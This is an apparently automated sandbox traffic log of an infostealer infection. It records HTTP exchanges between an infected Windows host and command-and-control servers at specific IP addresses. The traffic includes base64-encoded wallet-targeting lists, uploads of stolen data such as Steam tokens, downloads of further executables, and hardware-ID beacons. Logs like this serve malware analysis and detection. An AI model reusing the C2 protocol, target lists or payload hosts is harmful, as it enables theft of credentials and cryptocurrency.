0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="message"wallets------DAECAECFCAAEBFHIEHDG--
Aug 30, 2024 06:17:29.390805960 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 30, 2024 06:17:29.438585043 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFB Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="message"files------IIEBKJECFCFBFIECBKFB--
Aug 30, 2024 06:17:29.615380049 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:29.687854052 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJECGHJDBFIJJJKEHCB Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="file"------KJJECGHJDBFIJJJKEHCB--
Aug 30, 2024 06:17:29.933435917 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:29.937371969 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEH Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 2d 2d 0d 0a Data Ascii: ------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="message"ybncbhylepme------BAEGCGCGIEGDHIDHJJEH--
Aug 30, 2024 06:17:30.166021109 CEST	395	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 168 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 30 4e 79 34 30 4e 53 34 30 4e 43 34 78 4d 44 51 76 63 48 4a 76 5a 79 38 32 4e 6d 51 77 59 32 51 35 59 54 59 31 59 6a 56 6b 58 33 5a 78 64 32 56 79 5a 32 59 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 47 68 30 64 48 41 36 4c 79 38 78 4e 44 63 75 4e 44 55 75 4e 44 51 75 4d 54 41 30 4c 33 42 79 62 32 63 76 4e 6a 5a 6b 4d 47 4e 6b 4f 47 5a 69 4e 6d 59 33 59 6c 39 73 5a 32 70 6d 5a 43 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 52 38 Data Ascii: aHR0cDovLzE0Ny40NS40NC4xMDQvcHJvZy82NmQwY2Q5YTY1YjVkX3Zxd2VyZ2YuZXhlfDB8MHxTdGFydHw0fGh0dHA6Ly8xNDcuNDUuNDQuMTA0L3Byb2cvNjZkMGNkOGZiNmY3Yl9sZ2pmZC5leGV8MHwwfFN0YXJ0fDR8
Aug 30, 2024 06:17:32.892951965 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKFIIJJKJJJJJJEGDA Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 2d 2d 0d 0a Data Ascii: ------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBAKFIIJJKJJJJJJEGDA--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	147.45.44.104	80	7964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:30.196197033 CEST	94	OUT	GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:30.836467981 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:30 GMT Content-Type: application/octet-stream Content-Length: 196648 Last-Modified: Thu, 29 Aug 2024 19:35:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd9a-30028" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ @N,`XS.(& H.text `.rsrc.@@.reloc @BHxR&(,XUfh&\=E%"=m?*<UHft$U!B#:dE\J19KlXGRA6\|^.o@&5:i XmXj_0"LXEO j%mnEcT%3C))^:Tn7wY.`[AtyNjs\|QT?9':l${&V}9nes[?wqR/_JU8ir_Rhy<<@/'-Uv8F2zU'q5,.+GE?@@!
Aug 30, 2024 06:17:30.836486101 CEST	224	IN	Data Raw: 83 ab e3 da 3f cc b6 59 79 06 32 2e 2e df ac e5 9d 05 59 71 c0 5f 0a e3 76 64 5b 1d a0 98 f9 04 44 fe cf dc 09 56 52 c7 51 9f e3 3c eb eb 86 50 e1 b2 5b f4 62 ca 96 23 5f b7 44 c9 01 98 2f df ef 7f 36 8c 59 a3 cf 08 d5 ff 79 57 f8 da a8 64 a2 40 Data Ascii: ?Yy2..Yq_vd[DVRQ<P[b#_D/6YyWd@$T)(tFT?VyqYCC9MeAr)j1#1?L=]N;0Y>/XRDlOp:<u=4NbY%tU:
Aug 30, 2024 06:17:30.836498022 CEST	1236	IN	Data Raw: 79 52 50 96 f6 03 42 47 e1 80 24 1a c2 9f 76 39 68 41 62 32 16 46 e7 e5 af 4f 89 3d 9b af 83 53 b2 53 bb 19 db 58 42 20 50 1e 29 4a 23 d4 3d bf 0a 66 bb 36 ac 4d a8 37 e5 e5 f4 70 ad 0d cc 28 35 4d 89 07 c4 31 4b e6 51 3f bd 39 34 9b 17 d4 3a 3f Data Ascii: yRPBG$v9hAb2FO=SSXB P)J#=f6M7p(5M1KQ?94:?Qh[U'#>/`3W[uiKJ9Y>x:FR9#vmRD(q]%HRB)i)X.PY0ER_6zpq?In j
Aug 30, 2024 06:17:30.836503029 CEST	1236	IN	Data Raw: 80 4f 14 4d 3f 9d 05 42 58 5d b2 19 cd d5 e0 28 ff 26 69 42 f2 cd 75 2e 01 54 b1 70 70 4f 23 c4 68 e5 78 6d e4 63 01 5a f3 2f e4 71 c8 50 56 4e 92 55 d6 f1 ac 59 e5 b4 bf b2 10 e5 a2 dc 36 22 03 30 86 8c c1 6d ee 63 2a ba 01 17 4c 20 0e af 18 f4 Data Ascii: OM?BX](&iBu.TppO#hxmcZ/qPVNUY6"0mc*L >_AfPcoW5~{nbi+QB}#Ge&a7XDZuK%v8FM\|`LY?Kdw]C:L3D~0ATx__RL==sv
Aug 30, 2024 06:17:30.836517096 CEST	1236	IN	Data Raw: 89 f1 a3 2f 91 ca 5c f4 06 b3 50 62 d6 dc 3d cc 9e 8e 3e b2 54 1e ab 7c 4c 13 8e 68 86 12 24 eb 07 26 ea 7e 0d f9 06 1e a0 d1 38 ae 24 f4 70 11 4b cd 8a 98 61 5a 40 be 88 2a 6c 29 de e0 22 e7 34 8d 95 38 bc e1 d4 f8 ed d0 8c 81 e9 da 28 6c 12 6f Data Ascii: /\Pb=>T\|Lh$&~8$pKaZ@l)"48(lo0)1&'T1?R?M+/ff5SE>rdgDgxvVC!'m?ZruI!ntE%a:{dd[tADlKZ\=;yI
Aug 30, 2024 06:17:30.836528063 CEST	1236	IN	Data Raw: 03 55 47 a6 be 80 e5 f2 d9 c8 a0 f2 41 48 36 75 68 6d 15 8b 55 44 a6 0d 44 87 52 0f c3 55 b7 79 d0 3f ff 41 7b b4 ab ff 96 7b 45 45 6d 98 c7 b9 33 0e b1 09 59 fc 64 31 f5 c4 55 9a 03 d7 bb 58 4e 52 64 67 61 1a dc c5 63 48 ce 9a 5b d1 ed c5 c5 39 Data Ascii: UGAH6uhmUDDRUy?A{{EEm3Yd1UXNRdgacH[9}\|;..=UwfOy%R+8Kq#;:8W.#zj+UP@3$RBbZO)+XV@ftA4=tC~P[bs^XR9
Aug 30, 2024 06:17:30.836538076 CEST	1236	IN	Data Raw: 66 6b af f4 b5 84 ac 5a 90 58 9b 9d 8e 5c 9b e4 e7 55 5c ef cb f6 47 9a c5 8d 91 f8 6a 30 5a aa 2d c0 ed d1 fb d9 57 a5 27 47 2d 1d d3 ca 1e 5e 1f d4 2c 07 4c 58 76 65 a0 fc 63 c5 0e 36 68 95 3d 19 71 39 44 ef fb 54 73 4e 8f 4c c8 1c 54 06 0f e0 Data Ascii: fkZX\U\Gj0Z-W'G-^,LXvec6h=q9DTsNLTnA5A9c7__m>0=<C;rf)D'tT1X_>s~z`CN?:IgZz_v5TNnq~7JF~V@]Ta)T(lz:H
Aug 30, 2024 06:17:30.836555004 CEST	1236	IN	Data Raw: 91 79 a2 80 de a1 b0 7b aa 0e 22 10 a7 c8 c7 dc 18 b0 13 d9 33 bc 67 97 46 14 a0 d2 01 28 b2 d5 a7 0e 7f ea 77 ee ca 1d da 98 ce 0b 12 64 80 87 62 d4 cd 47 1a 60 e6 37 a3 ae a8 88 e8 fa f6 eb 50 84 97 f8 db 5a 37 e6 05 81 d6 ab 5f 9e 31 d8 af e0 Data Ascii: y{"3gF(wdbG`7PZ7_1TP-~p9`'J"W4LQUv<haVsAEgz<]u' %emQ4t@q3Yk}PotS/'V=4$Fk*x'W
Aug 30, 2024 06:17:30.836570024 CEST	1236	IN	Data Raw: ac cb 7f e3 62 aa ff 3d f6 5f 60 d6 f2 14 cc c6 b2 4f 3e f9 fa fd 8c 38 e4 74 94 5b b8 9c 86 9a d3 c6 a2 78 77 30 e4 28 c8 40 9f ab 55 13 5e 11 5f 88 a0 0f 23 19 3b ea 3f 37 4e ac 23 fe aa 39 06 d5 58 f5 07 0b 02 fe 0f 39 39 a8 96 74 1c f7 bc ec Data Ascii: b=_`O>8t[xw0(@U^_#;?7N#9X99tul+c{0.ofkm9=zz6WheBGhG^GWb\|TMl,n%Fe""3&o?x!Dk^kF#]q`v+,*
Aug 30, 2024 06:17:30.836582899 CEST	1236	IN	Data Raw: 01 6a ca 2e 03 50 ff 12 14 1d 92 83 23 be 26 0c 9c 85 07 5f 72 8c 40 5a e8 2d aa 39 82 90 12 b6 b8 bd d7 0c 28 65 e0 8d 08 81 7c ee 1f 12 f4 c7 9a 9c e1 c4 84 68 b7 34 9d c0 71 df 0b 10 08 8b 0c 27 35 a5 d3 f1 52 94 0c 58 c8 7e b2 c0 81 73 50 60 Data Ascii: j.P#&_r@Z-9(e\|h4q'5RX~sP`yiLjD{Tkk5@{z7y+jio1x2'TdPAn8h:uDO7c?S `ZA20W'Z<V-0&b\|Jqt
Aug 30, 2024 06:17:30.841351032 CEST	1236	IN	Data Raw: 8f a2 07 c3 ac 73 f4 38 a1 a9 2d bc 43 d4 e7 cb 58 0c 74 57 28 8a 52 f1 ce 24 40 85 65 9e 4c f1 9e dc 4e b9 9e b6 d9 30 7b a2 fd e7 63 ac a6 98 d4 23 69 6a 9f bd 58 42 2b 97 f0 cd dc 13 fb 32 08 e0 3f 56 f0 68 40 88 6b 46 d2 11 3e 66 27 de 1a e3 Data Ascii: s8-CXtW(R$@eLN0{c#ijXB+2?Vh@kF>f'f1#eCeMBZV0>,?fmgw!{Z- z [v 6x';5GM\| Qj^Si!\+Asznfr$/$Mewo
Aug 30, 2024 06:17:32.265530109 CEST	92	OUT	GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:32.454854012 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:32 GMT Content-Type: application/octet-stream Content-Length: 328744 Last-Modified: Thu, 29 Aug 2024 19:35:43 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd8f-50428" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 19 cd d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d2 04 00 00 0a 00 00 00 00 00 00 ae f1 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 fe 11 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 f1 04 00 53 00 00 00 00 00 05 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 de 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 20 f0 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ @`XS.(& H.text `.rsrc.@@.reloc @BHxSac?6UCMf'<soo<CqwNeie4+R1brIUU<N\|cVGH$&~+<38tR]Bz4-oC{{9x0wI7_;!'qU?`/+,PM8}3j$Y=2)W]tZ>g2i-I[wuha3Qy=c2nQJ>=fwE-`/'g$1sW

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49756	147.45.68.138	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:36.978852034 CEST	88	OUT	GET / HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:37.904071093 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 30, 2024 06:17:37.970084906 CEST	436	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 147.45.68.138 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647-a33c7340-61ca------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IDHIEBAAKJDHIECAAFHC--
Aug 30, 2024 06:17:38.521807909 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|56f92c6c9c9a3ad0c91cbbe5d33d1d91\|1\|1\|1\|0\|0\|50000\|10
Aug 30, 2024 06:17:38.894829035 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 